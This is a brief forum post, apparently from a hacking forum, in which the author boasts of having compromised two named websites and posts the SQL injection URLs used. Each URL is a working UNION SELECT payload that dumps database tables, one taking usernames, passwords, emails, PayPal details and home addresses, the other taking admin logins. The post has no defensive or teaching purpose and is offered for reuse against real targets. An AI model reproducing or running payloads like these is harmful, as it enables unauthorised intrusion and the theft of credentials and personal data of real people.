Hey,
I've injected two site and I post here there injection.
Code:
http://www.tbrandable.com/buy.php?id=-15 union select all 1,group_concat(id, 0x3a, username, 0x3a, password, 0x3a, email, 0x3a, fullname, 0x3a, method, 0x3a, paypal, 0x3a, country, 0x3a, state, 0x3a, address, 0x3a, zipcode, 0x3a, url, 0x3a, referals, 0x3a, amount), 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17 from users--
Code:
http://www.downtowncrossing.org/shop/shop.php?id=-103 union select all 1, group_concat(username,0x3a,password), 3, 4 from admin--
++Callo++